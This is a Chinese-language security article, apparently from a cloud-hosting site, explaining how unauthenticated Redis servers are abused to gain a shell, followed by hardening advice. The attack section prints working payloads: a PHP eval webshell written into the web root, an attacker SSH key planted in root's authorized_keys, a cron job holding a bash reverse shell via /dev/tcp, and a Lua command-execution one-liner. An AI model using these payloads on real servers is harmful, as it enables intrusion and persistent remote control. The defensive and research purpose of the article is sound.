您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# Redis+Getshell的示例分析
## 引言
Redis作为高性能的键值存储数据库,广泛应用于缓存、消息队列等场景。然而,由于配置不当或版本漏洞,Redis服务器可能成为攻击者获取服务器权限的入口。本文将通过技术原理、攻击场景和防御措施三个维度,分析Redis被用于GetShell的典型攻击路径。
---
## 一、Redis未授权访问漏洞原理
### 1.1 漏洞成因
Redis默认绑定`0.0.0.0:6379`且无认证机制,若管理员未配置:
- `requirepass`认证密码
- `bind 127.0.0.1`限制访问IP
- 防火墙规则
攻击者可直接通过`redis-cli -h <target>`连接服务器。
### 1.2 信息泄露验证
```bash
$ redis-cli -h 192.168.1.100
192.168.1.100:6379> info
# 获取服务器版本、数据目录等敏感信息
config set dir /var/www/html
config set dbfilename shell.php
set x "<?php @eval($_POST['cmd']);?>"
save
关键点: - 需要Redis运行账户对Web目录有写权限 - 适用于Apache/Nginx等未做权限分离的场景
config set dir /root/.ssh
config set dbfilename authorized_keys
set x "\n\nssh-rsa AAAAB3NzaC... attacker@kali\n\n"
save
利用条件: - Redis以root权限运行 - 服务器启用SSH服务
config set dir /var/spool/cron
config set dbfilename root
set x "\n* * * * * /bin/bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n"
save
特征: - 适用于Linux系统 - 需要目标服务器可出网
利用工具: - RedisRogueServer - redis-ssrf
攻击流程:
1. 伪造恶意Redis主节点
2. 诱导从节点执行MODULE LOAD
命令
3. 加载恶意.so文件实现RCE
eval 'local io = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local f = io(); local cmd = "id"; local res = f:read("|"..cmd.."|"); return res' 0
限制:
- 需存在可加载的Lua库文件
- Redis配置未禁用SCRIPT KILL
# 必选项
bind 127.0.0.1
requirepass ComplexPassword123!
rename-command FLUSHALL ""
protected-mode yes
# 推荐项
port 6380 # 修改默认端口
dir /var/lib/redis/ # 设置专用数据目录
iptables -A INPUT -p tcp --dport 6379 -s 10.0.0.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 6379 -j DROP
措施 | 说明 |
---|---|
低权限运行 | 创建专用redis账户并限制目录权限 |
定期日志审计 | 监控可疑CONFIG/SET操作 |
禁用高危命令 | rename-command CONFIG “” |
# 检查可疑文件
find / -name "*.rdb" -mtime -1
ls -al /var/spool/cron/
# 检查Redis日志
grep -E "CONFIG|SAVE" /var/log/redis/redis.log
Redis的GetShell利用本质是配置缺陷与权限问题的叠加。管理员应当遵循最小权限原则,结合网络隔离与命令限制构建纵深防御体系。建议定期使用Redis-Check等工具进行安全检测,防患于未然。
本文仅作技术研究用途,严禁用于非法测试!实际渗透测试需获得书面授权。 “`
注:实际执行攻击行为属于违法行为,本文所有示例仅供安全研究人员进行防御方案设计参考。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。